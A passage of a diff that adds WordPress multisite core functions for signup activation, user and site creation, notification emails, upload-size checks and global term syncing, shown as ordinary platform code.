+		apply_filters( 'wpmu_signup_user_notification_subject',
+			/* translators: New user notification email subject. 1: Network name, 2: New user login */
+			_x( '[%1$s] Activate %2$s', 'New user notification email subject' ),
+			$user_login, $user_email, $key, $meta
+		),
+		$from_name,
+		$user_login
+	);
+	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+
+	return true;
+}
+
+/**
+ * Activate a signup.
+ *
+ * Hook to {@see 'wpmu_activate_user'} or {@see 'wpmu_activate_blog'} for events
+ * that should happen only when users or sites are self-created (since
+ * those actions are not called when users and sites are created
+ * by a Super Admin).
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $key The activation key provided to the user.
+ * @return array|WP_Error An array containing information about the activated user and/or blog
+ */
+function wpmu_activate_signup($key) {
+	global $wpdb;
+
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key) );
+
+	if ( empty( $signup ) )
+		return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) );
+
+	if ( $signup->active ) {
+		if ( empty( $signup->domain ) )
+			return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup );
+		else
+			return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup );
+	}
+
+	$meta = maybe_unserialize($signup->meta);
+	$password = wp_generate_password( 12, false );
+
+	$user_id = username_exists($signup->user_login);
+
+	if ( ! $user_id )
+		$user_id = wpmu_create_user($signup->user_login, $password, $signup->user_email);
+	else
+		$user_already_exists = true;
+
+	if ( ! $user_id )
+		return new WP_Error('create_user', __('Could not create user'), $signup);
+
+	$now = current_time('mysql', true);
+
+	if ( empty($signup->domain) ) {
+		$wpdb->update( $wpdb->signups, array('active' => 1, 'activated' => $now), array('activation_key' => $key) );
+
+		if ( isset( $user_already_exists ) )
+			return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup);
+
+		/**
+		 * Fires immediately after a new user is activated.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param int   $user_id  User ID.
+		 * @param int   $password User password.
+		 * @param array $meta     Signup meta data.
+		 */
+		do_action( 'wpmu_activate_user', $user_id, $password, $meta );
+		return array( 'user_id' => $user_id, 'password' => $password, 'meta' => $meta );
+	}
+
+	$blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, get_current_network_id() );
+
+	// TODO: What to do if we create a user but cannot create a blog?
+	if ( is_wp_error($blog_id) ) {
+		// If blog is taken, that means a previous attempt to activate this blog failed in between creating the blog and
+		// setting the activation flag. Let's just set the active flag and instruct the user to reset their password.
+		if ( 'blog_taken' == $blog_id->get_error_code() ) {
+			$blog_id->add_data( $signup );
+			$wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now ), array( 'activation_key' => $key ) );
+		}
+		return $blog_id;
+	}
+
+	$wpdb->update( $wpdb->signups, array('active' => 1, 'activated' => $now), array('activation_key' => $key) );
+	/**
+	 * Fires immediately after a site is activated.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int    $blog_id       Blog ID.
+	 * @param int    $user_id       User ID.
+	 * @param int    $password      User password.
+	 * @param string $signup_title  Site title.
+	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
+	 */
+	do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta );
+
+	return array('blog_id' => $blog_id, 'user_id' => $user_id, 'password' => $password, 'title' => $signup->title, 'meta' => $meta);
+}
+
+/**
+ * Create a user.
+ *
+ * This function runs when a user self-registers as well as when
+ * a Super Admin creates a new user. Hook to {@see 'wpmu_new_user'} for events
+ * that should affect all new users, but only on Multisite (otherwise
+ * use {@see'user_register'}).
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $user_name The new user's login name.
+ * @param string $password  The new user's password.
+ * @param string $email     The new user's email address.
+ * @return int|false Returns false on failure, or int $user_id on success
+ */
+function wpmu_create_user( $user_name, $password, $email ) {
+	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );
+
+	$user_id = wp_create_user( $user_name, $password, $email );
+	if ( is_wp_error( $user_id ) )
+		return false;
+
+	// Newly created users have no roles or caps until they are added to a blog.
+	delete_user_option( $user_id, 'capabilities' );
+	delete_user_option( $user_id, 'user_level' );
+
+	/**
+	 * Fires immediately after a new user is created.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int $user_id User ID.
+	 */
+	do_action( 'wpmu_new_user', $user_id );
+
+	return $user_id;
+}
+
+/**
+ * Create a site.
+ *
+ * This function runs when a user self-registers a new site as well
+ * as when a Super Admin creates a new site. Hook to {@see 'wpmu_new_blog'}
+ * for events that should affect all new sites.
+ *
+ * On subdirectory installations, $domain is the same as the main site's
+ * domain, and the path is the subdirectory name (eg 'example.com'
+ * and '/blog1/'). On subdomain installations, $domain is the new subdomain +
+ * root domain (eg 'blog1.example.com'), and $path is '/'.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $domain     The new site's domain.
+ * @param string $path       The new site's path.
+ * @param string $title      The new site's title.
+ * @param int    $user_id    The user ID of the new site's admin.
+ * @param array  $meta       Optional. Array of key=>value pairs used to set initial site options.
+ *                           If valid status keys are included ('public', 'archived', 'mature',
+ *                           'spam', 'deleted', or 'lang_id') the given site status(es) will be
+ *                           updated. Otherwise, keys and values will be used to set options for
+ *                           the new site. Default empty array.
+ * @param int    $network_id Optional. Network ID. Only relevant on multi-network installations.
+ * @return int|WP_Error Returns WP_Error object on failure, the new site ID on success.
+ */
+function wpmu_create_blog( $domain, $path, $title, $user_id, $meta = array(), $network_id = 1 ) {
+	$defaults = array(
+		'public' => 0,
+		'WPLANG' => get_network_option( $network_id, 'WPLANG' ),
+	);
+	$meta = wp_parse_args( $meta, $defaults );
+
+	$domain = preg_replace( '/\s+/', '', sanitize_user( $domain, true ) );
+
+	if ( is_subdomain_install() )
+		$domain = str_replace( '@', '', $domain );
+
+	$title = strip_tags( $title );
+	$user_id = (int) $user_id;
+
+	if ( empty($path) )
+		$path = '/';
+
+	// Check if the domain has been used already. We should return an error message.
+	if ( domain_exists($domain, $path, $network_id) )
+		return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) );
+
+	if ( ! wp_installing() ) {
+		wp_installing( true );
+	}
+
+	if ( ! $blog_id = insert_blog($domain, $path, $network_id) )
+		return new WP_Error('insert_blog', __('Could not create site.'));
+
+	switch_to_blog($blog_id);
+	install_blog($blog_id, $title);
+	wp_install_defaults($user_id);
+
+	add_user_to_blog($blog_id, $user_id, 'administrator');
+
+	foreach ( $meta as $key => $value ) {
+		if ( in_array( $key, array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ) ) )
+			update_blog_status( $blog_id, $key, $value );
+		else
+			update_option( $key, $value );
+	}
+
+	update_option( 'blog_public', (int) $meta['public'] );
+
+	if ( ! is_super_admin( $user_id ) && ! get_user_meta( $user_id, 'primary_blog', true ) )
+		update_user_meta( $user_id, 'primary_blog', $blog_id );
+
+	restore_current_blog();
+	/**
+	 * Fires immediately after a new site is created.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int    $blog_id    Site ID.
+	 * @param int    $user_id    User ID.
+	 * @param string $domain     Site domain.
+	 * @param string $path       Site path.
+	 * @param int    $network_id Network ID. Only relevant on multi-network installations.
+	 * @param array  $meta       Meta data. Used to set initial site options.
+	 */
+	do_action( 'wpmu_new_blog', $blog_id, $user_id, $domain, $path, $network_id, $meta );
+
+	wp_cache_set( 'last_changed', microtime(), 'sites' );
+
+	return $blog_id;
+}
+
+/**
+ * Notifies the network admin that a new site has been activated.
+ *
+ * Filter {@see 'newblog_notify_siteadmin'} to change the content of
+ * the notification email.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $blog_id    The new site's ID.
+ * @param string $deprecated Not used.
+ * @return bool
+ */
+function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) {
+	if ( get_site_option( 'registrationnotification' ) != 'yes' )
+		return false;
+
+	$email = get_site_option( 'admin_email' );
+	if ( is_email($email) == false )
+		return false;
+
+	$options_site_url = esc_url(network_admin_url('settings.php'));
+
+	switch_to_blog( $blog_id );
+	$blogname = get_option( 'blogname' );
+	$siteurl = site_url();
+	restore_current_blog();
+
+	/* translators: New site notification email. 1: Site URL, 2: User IP address, 3: Settings screen URL */
+	$msg = sprintf( __( 'New Site: %1$s
+URL: %2$s
+Remote IP address: %3$s
+
+Disable these notifications: %4$s' ), $blogname, $siteurl, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url);
+	/**
+	 * Filters the message body of the new site activation email sent
+	 * to the network administrator.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $msg Email body.
+	 */
+	$msg = apply_filters( 'newblog_notify_siteadmin', $msg );
+
+	wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg );
+	return true;
+}
+
+/**
+ * Notifies the network admin that a new user has been activated.
+ *
+ * Filter {@see 'newuser_notify_siteadmin'} to change the content of
+ * the notification email.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $user_id The new user's ID.
+ * @return bool
+ */
+function newuser_notify_siteadmin( $user_id ) {
+	if ( get_site_option( 'registrationnotification' ) != 'yes' )
+		return false;
+
+	$email = get_site_option( 'admin_email' );
+
+	if ( is_email($email) == false )
+		return false;
+
+	$user = get_userdata( $user_id );
+
+	$options_site_url = esc_url(network_admin_url('settings.php'));
+	/* translators: New user notification email. 1: User login, 2: User IP address, 3: Settings screen URL */
+	$msg = sprintf(__('New User: %1$s
+Remote IP address: %2$s
+
+Disable these notifications: %3$s'), $user->user_login, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url);
+
+	/**
+	 * Filters the message body of the new user activation email sent
+	 * to the network administrator.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string  $msg  Email body.
+	 * @param WP_User $user WP_User instance of the new user.
+	 */
+	$msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user );
+	wp_mail( $email, sprintf(__('New User Registration: %s'), $user->user_login), $msg );
+	return true;
+}
+
+/**
+ * Checks whether a site name is already taken.
+ *
+ * The name is the site's subdomain or the site's subdirectory
+ * path depending on the network settings.
+ *
+ * Used during the new site registration process to ensure
+ * that each site name is unique.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $domain     The domain to be checked.
+ * @param string $path       The path to be checked.
+ * @param int    $network_id Optional. Network ID. Relevant only on multi-network installations.
+ * @return int|null The site ID if the site name exists, null otherwise.
+ */
+function domain_exists( $domain, $path, $network_id = 1 ) {
+	$path = trailingslashit( $path );
+	$args = array(
+		'network_id' => $network_id,
+		'domain'     => $domain,
+		'path'       => $path,
+		'fields'     => 'ids',
+		'number'     => 1,
+	);
+	$result = get_sites( $args );
+	$result = array_shift( $result );
+
+	/**
+	 * Filters whether a site name is taken.
+	 *
+	 * The name is the site's subdomain or the site's subdirectory
+	 * path depending on the network settings.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int|null $result     The site ID if the site name exists, null otherwise.
+	 * @param string   $domain     Domain to be checked.
+	 * @param string   $path       Path to be checked.
+	 * @param int      $network_id Network ID. Relevant only on multi-network installations.
+	 */
+	return apply_filters( 'domain_exists', $result, $domain, $path, $network_id );
+}
+
+/**
+ * Store basic site info in the blogs table.
+ *
+ * This function creates a row in the wp_blogs table and returns
+ * the new blog's ID. It is the first step in creating a new blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $domain     The domain of the new site.
+ * @param string $path       The path of the new site.
+ * @param int    $network_id Unless you're running a multi-network installation, be sure to set this value to 1.
+ * @return int|false The ID of the new row
+ */
+function insert_blog($domain, $path, $network_id) {
+	global $wpdb;
+
+	$path = trailingslashit($path);
+	$network_id = (int) $network_id;
+
+	$result = $wpdb->insert( $wpdb->blogs, array('site_id' => $network_id, 'domain' => $domain, 'path' => $path, 'registered' => current_time('mysql')) );
+	if ( ! $result )
+		return false;
+
+	$blog_id = $wpdb->insert_id;
+	clean_blog_cache( $blog_id );
+
+	wp_maybe_update_network_site_counts( $network_id );
+
+	return $blog_id;
+}
+
+/**
+ * Install an empty blog.
+ *
+ * Creates the new blog tables and options. If calling this function
+ * directly, be sure to use switch_to_blog() first, so that $wpdb
+ * points to the new blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb     $wpdb
+ * @global WP_Roles $wp_roles
+ *
+ * @param int    $blog_id    The value returned by insert_blog().
+ * @param string $blog_title The title of the new site.
+ */
+function install_blog( $blog_id, $blog_title = '' ) {
+	global $wpdb, $wp_roles;
+
+	// Cast for security
+	$blog_id = (int) $blog_id;
+
+	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+	$suppress = $wpdb->suppress_errors();
+	if ( $wpdb->get_results( "DESCRIBE {$wpdb->posts}" ) )
+		die( '<h1>' . __( 'Already Installed' ) . '</h1><p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p></body></html>' );
+	$wpdb->suppress_errors( $suppress );
+
+	$url = get_blogaddress_by_id( $blog_id );
+
+	// Set everything up
+	make_db_current_silent( 'blog' );
+	populate_options();
+	populate_roles();
+
+	// populate_roles() clears previous role definitions so we start over.
+	$wp_roles = new WP_Roles();
+
+	$siteurl = $home = untrailingslashit( $url );
+
+	if ( ! is_subdomain_install() ) {
+
+ 		if ( 'https' === parse_url( get_site_option( 'siteurl' ), PHP_URL_SCHEME ) ) {
+ 			$siteurl = set_url_scheme( $siteurl, 'https' );
+ 		}
+ 		if ( 'https' === parse_url( get_home_url( get_network()->site_id ), PHP_URL_SCHEME ) ) {
+ 			$home = set_url_scheme( $home, 'https' );
+ 		}
+
+	}
+
+	update_option( 'siteurl', $siteurl );
+	update_option( 'home', $home );
+
+	if ( get_site_option( 'ms_files_rewriting' ) )
+		update_option( 'upload_path', UPLOADBLOGSDIR . "/$blog_id/files" );
+	else
+		update_option( 'upload_path', get_blog_option( get_network()->site_id, 'upload_path' ) );
+
+	update_option( 'blogname', wp_unslash( $blog_title ) );
+	update_option( 'admin_email', '' );
+
+	// remove all perms
+	$table_prefix = $wpdb->get_blog_prefix();
+	delete_metadata( 'user', 0, $table_prefix . 'user_level',   null, true ); // delete all
+	delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); // delete all
+}
+
+/**
+ * Set blog defaults.
+ *
+ * This function creates a row in the wp_blogs table.
+ *
+ * @since MU (3.0.0)
+ * @deprecated MU
+ * @deprecated Use wp_install_defaults()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $blog_id Ignored in this function.
+ * @param int $user_id
+ */
+function install_blog_defaults($blog_id, $user_id) {
+	global $wpdb;
+
+	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+	$suppress = $wpdb->suppress_errors();
+
+	wp_install_defaults($user_id);
+
+	$wpdb->suppress_errors( $suppress );
+}
+
+/**
+ * Notify a user that their blog activation has been successful.
+ *
+ * Filter {@see 'wpmu_welcome_notification'} to disable or bypass.
+ *
+ * Filter {@see 'update_welcome_email'} and {@see 'update_welcome_subject'} to
+ * modify the content and subject line of the notification email.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $blog_id  Blog ID.
+ * @param int    $user_id  User ID.
+ * @param string $password User password.
+ * @param string $title    Site title.
+ * @param array  $meta     Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
+ * @return bool
+ */
+function wpmu_welcome_notification( $blog_id, $user_id, $password, $title, $meta = array() ) {
+	$current_network = get_network();
+
+	/**
+	 * Filters whether to bypass the welcome email after site activation.
+	 *
+	 * Returning false disables the welcome email.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int|bool $blog_id  Blog ID.
+	 * @param int      $user_id  User ID.
+	 * @param string   $password User password.
+	 * @param string   $title    Site title.
+	 * @param array    $meta     Signup meta data. By default, contains the requested privacy setting and lang_id.
+	 */
+	if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) )
+		return false;
+
+	$user = get_userdata( $user_id );
+
+	$switched_locale = switch_to_locale( get_user_locale( $user ) );
+
+	$welcome_email = get_site_option( 'welcome_email' );
+	if ( $welcome_email == false ) {
+		/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
+		$welcome_email = __( 'Howdy USERNAME,
+
+Your new SITE_NAME site has been successfully set up at:
+BLOG_URL
+
+You can log in to the administrator account with the following information:
+
+Username: USERNAME
+Password: PASSWORD
+Log in here: BLOG_URLwp-login.php
+
+We hope you enjoy your new site. Thanks!
+
+--The Team @ SITE_NAME' );
+	}
+
+	$url = get_blogaddress_by_id($blog_id);
+
+	$welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email );
+	$welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email );
+	$welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email );
+	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
+	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );
+
+	/**
+	 * Filters the content of the welcome email after site activation.
+	 *
+	 * Content should be formatted for transmission via wp_mail().
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $welcome_email Message body of the email.
+	 * @param int    $blog_id       Blog ID.
+	 * @param int    $user_id       User ID.
+	 * @param string $password      User password.
+	 * @param string $title         Site title.
+	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
+	 */
+	$welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta );
+	$admin_email = get_site_option( 'admin_email' );
+
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = $welcome_email;
+
+	if ( empty( $current_network->site_name ) )
+		$current_network->site_name = 'WordPress';
+
+	/* translators: New site notification email subject. 1: Network name, 2: New site name */
+	$subject = __( 'New %1$s Site: %2$s' );
+
+	/**
+	 * Filters the subject of the welcome email after site activation.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $subject Subject of the email.
+	 */
+	$subject = apply_filters( 'update_welcome_subject', sprintf( $subject, $current_network->site_name, wp_unslash( $title ) ) );
+	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+
+	return true;
+}
+
+/**
+ * Notify a user that their account activation has been successful.
+ *
+ * Filter {@see 'wpmu_welcome_user_notification'} to disable or bypass.
+ *
+ * Filter {@see 'update_welcome_user_email'} and {@see 'update_welcome_user_subject'} to
+ * modify the content and subject line of the notification email.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $user_id  User ID.
+ * @param string $password User password.
+ * @param array  $meta     Optional. Signup meta data. Default empty array.
+ * @return bool
+ */
+function wpmu_welcome_user_notification( $user_id, $password, $meta = array() ) {
+	$current_network = get_network();
+
+	/**
+ 	 * Filters whether to bypass the welcome email after user activation.
+	 *
+	 * Returning false disables the welcome email.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int    $user_id  User ID.
+	 * @param string $password User password.
+	 * @param array  $meta     Signup meta data. Default empty array.
+	 */
+	if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) )
+		return false;
+
+	$welcome_email = get_site_option( 'welcome_user_email' );
+
+	$user = get_userdata( $user_id );
+
+	$switched_locale = switch_to_locale( get_user_locale( $user ) );
+
+	/**
+	 * Filters the content of the welcome email after user activation.
+	 *
+	 * Content should be formatted for transmission via wp_mail().
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $welcome_email The message body of the account activation success email.
+	 * @param int    $user_id       User ID.
+	 * @param string $password      User password.
+	 * @param array  $meta          Signup meta data. Default empty array.
+	 */
+	$welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta );
+	$welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email );
+	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
+	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );
+	$welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email );
+
+	$admin_email = get_site_option( 'admin_email' );
+
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = $welcome_email;
+
+	if ( empty( $current_network->site_name ) )
+		$current_network->site_name = 'WordPress';
+
+	/* translators: New user notification email subject. 1: Network name, 2: New user login */
+	$subject = __( 'New %1$s User: %2$s' );
+
+	/**
+	 * Filters the subject of the welcome email after user activation.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $subject Subject of the email.
+	 */
+	$subject = apply_filters( 'update_welcome_user_subject', sprintf( $subject, $current_network->site_name, $user->user_login) );
+	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+
+	return true;
+}
+
+/**
+ * Get the current network.
+ *
+ * Returns an object containing the 'id', 'domain', 'path', and 'site_name'
+ * properties of the network being viewed.
+ *
+ * @see wpmu_current_site()
+ *
+ * @since MU (3.0.0)
+ *
+ * @global WP_Network $current_site
+ *
+ * @return WP_Network
+ */
+function get_current_site() {
+	global $current_site;
+	return $current_site;
+}
+
+/**
+ * Get a user's most recent post.
+ *
+ * Walks through each of a user's blogs to find the post with
+ * the most recent post_date_gmt.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $user_id
+ * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts
+ */
+function get_most_recent_post_of_user( $user_id ) {
+	global $wpdb;
+
+	$user_blogs = get_blogs_of_user( (int) $user_id );
+	$most_recent_post = array();
+
+	// Walk through each blog and get the most recent post
+	// published by $user_id
+	foreach ( (array) $user_blogs as $blog ) {
+		$prefix = $wpdb->get_blog_prefix( $blog->userblog_id );
+		$recent_post = $wpdb->get_row( $wpdb->prepare("SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A);
+
+		// Make sure we found a post
+		if ( isset($recent_post['ID']) ) {
+			$post_gmt_ts = strtotime($recent_post['post_date_gmt']);
+
+			// If this is the first post checked or if this post is
+			// newer than the current recent post, make it the new
+			// most recent post.
+			if ( !isset($most_recent_post['post_gmt_ts']) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) {
+				$most_recent_post = array(
+					'blog_id'		=> $blog->userblog_id,
+					'post_id'		=> $recent_post['ID'],
+					'post_date_gmt'	=> $recent_post['post_date_gmt'],
+					'post_gmt_ts'	=> $post_gmt_ts
+				);
+			}
+		}
+	}
+
+	return $most_recent_post;
+}
+
+// Misc functions
+
+/**
+ * Get the size of a directory.
+ *
+ * A helper function that is used primarily to check whether
+ * a blog has exceeded its allowed upload space.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $directory Full path of a directory.
+ * @return int Size of the directory in MB.
+ */
+function get_dirsize( $directory ) {
+	$dirsize = get_transient( 'dirsize_cache' );
+	if ( is_array( $dirsize ) && isset( $dirsize[ $directory ][ 'size' ] ) )
+		return $dirsize[ $directory ][ 'size' ];
+
+	if ( ! is_array( $dirsize ) )
+		$dirsize = array();
+
+	// Exclude individual site directories from the total when checking the main site,
+	// as they are subdirectories and should not be counted.
+	if ( is_main_site() ) {
+		$dirsize[ $directory ][ 'size' ] = recurse_dirsize( $directory, $directory . '/sites' );
+	} else {
+		$dirsize[ $directory ][ 'size' ] = recurse_dirsize( $directory );
+	}
+
+	set_transient( 'dirsize_cache', $dirsize, HOUR_IN_SECONDS );
+	return $dirsize[ $directory ][ 'size' ];
+}
+
+/**
+ * Get the size of a directory recursively.
+ *
+ * Used by get_dirsize() to get a directory's size when it contains
+ * other directories.
+ *
+ * @since MU (3.0.0)
+ * @since 4.3.0 $exclude parameter added.
+ *
+ * @param string $directory Full path of a directory.
+ * @param string $exclude   Optional. Full path of a subdirectory to exclude from the total.
+ * @return int|false Size in MB if a valid directory. False if not.
+ */
+function recurse_dirsize( $directory, $exclude = null ) {
+	$size = 0;
+
+	$directory = untrailingslashit( $directory );
+
+	if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) || $directory === $exclude ) {
+		return false;
+	}
+
+	if ($handle = opendir($directory)) {
+		while(($file = readdir($handle)) !== false) {
+			$path = $directory.'/'.$file;
+			if ($file != '.' && $file != '..') {
+				if (is_file($path)) {
+					$size += filesize($path);
+				} elseif (is_dir($path)) {
+					$handlesize = recurse_dirsize( $path, $exclude );
+					if ($handlesize > 0)
+						$size += $handlesize;
+				}
+			}
+		}
+		closedir($handle);
+	}
+	return $size;
+}
+
+/**
+ * Check an array of MIME types against a whitelist.
+ *
+ * WordPress ships with a set of allowed upload filetypes,
+ * which is defined in wp-includes/functions.php in
+ * get_allowed_mime_types(). This function is used to filter
+ * that list against the filetype whitelist provided by Multisite
+ * Super Admins at wp-admin/network/settings.php.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param array $mimes
+ * @return array
+ */
+function check_upload_mimes( $mimes ) {
+	$site_exts = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) );
+	$site_mimes = array();
+	foreach ( $site_exts as $ext ) {
+		foreach ( $mimes as $ext_pattern => $mime ) {
+			if ( $ext != '' && strpos( $ext_pattern, $ext ) !== false )
+				$site_mimes[$ext_pattern] = $mime;
+		}
+	}
+	return $site_mimes;
+}
+
+/**
+ * Update a blog's post count.
+ *
+ * WordPress MS stores a blog's post count as an option so as
+ * to avoid extraneous COUNTs when a blog's details are fetched
+ * with get_site(). This function is called when posts are published
+ * or unpublished to make sure the count stays current.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $deprecated Not used.
+ */
+function update_posts_count( $deprecated = '' ) {
+	global $wpdb;
+	update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ) );
+}
+
+/**
+ * Logs the user email, IP, and registration date of a new site.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $blog_id
+ * @param int $user_id
+ */
+function wpmu_log_new_registrations( $blog_id, $user_id ) {
+	global $wpdb;
+	$user = get_userdata( (int) $user_id );
+	if ( $user )
+		$wpdb->insert( $wpdb->registration_log, array('email' => $user->user_email, 'IP' => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ), 'blog_id' => $blog_id, 'date_registered' => current_time('mysql')) );
+}
+
+/**
+ * Maintains a canonical list of terms by syncing terms created for each blog with the global terms table.
+ *
+ * @since 3.0.0
+ *
+ * @see term_id_filter
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @staticvar int $global_terms_recurse
+ *
+ * @param int    $term_id    An ID for a term on the current blog.
+ * @param string $deprecated Not used.
+ * @return int An ID from the global terms table mapped from $term_id.
+ */
+function global_terms( $term_id, $deprecated = '' ) {
+	global $wpdb;
+	static $global_terms_recurse = null;
+
+	if ( !global_terms_enabled() )
+		return $term_id;
+
+	// prevent a race condition
+	$recurse_start = false;
+	if ( $global_terms_recurse === null ) {
+		$recurse_start = true;
+		$global_terms_recurse = 1;
+	} elseif ( 10 < $global_terms_recurse++ ) {
+		return $term_id;
+	}
+
+	$term_id = intval( $term_id );
+	$c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->terms WHERE term_id = %d", $term_id ) );
+
+	$global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE category_nicename = %s", $c->slug ) );
+	if ( $global_id == null ) {
+		$used_global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE cat_ID = %d", $c->term_id ) );
+		if ( null == $used_global_id ) {
+			$wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $term_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug ) );
+			$global_id = $wpdb->insert_id;
+			if ( empty( $global_id ) )
+				return $term_id;
+		} else {
+			$max_global_id = $wpdb->get_var( "SELECT MAX(cat_ID) FROM $wpdb->sitecategories" );
+			$max_local_id = $wpdb->get_var( "SELECT MAX(term_id) FROM $wpdb->terms" );
+			$new_global_id = max( $max_global_id, $max_local_id ) + mt_rand( 100, 400 );
+			$wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $new_global_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug ) );
+			$global_id = $wpdb->insert_id;
+		}
+	} elseif ( $global_id != $term_id ) {
+		$local_id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->terms WHERE term_id = %d", $global_id ) );
+		if ( null != $local_id ) {
+			global_terms( $local_id );
+			if ( 10 < $global_terms_recurse ) {
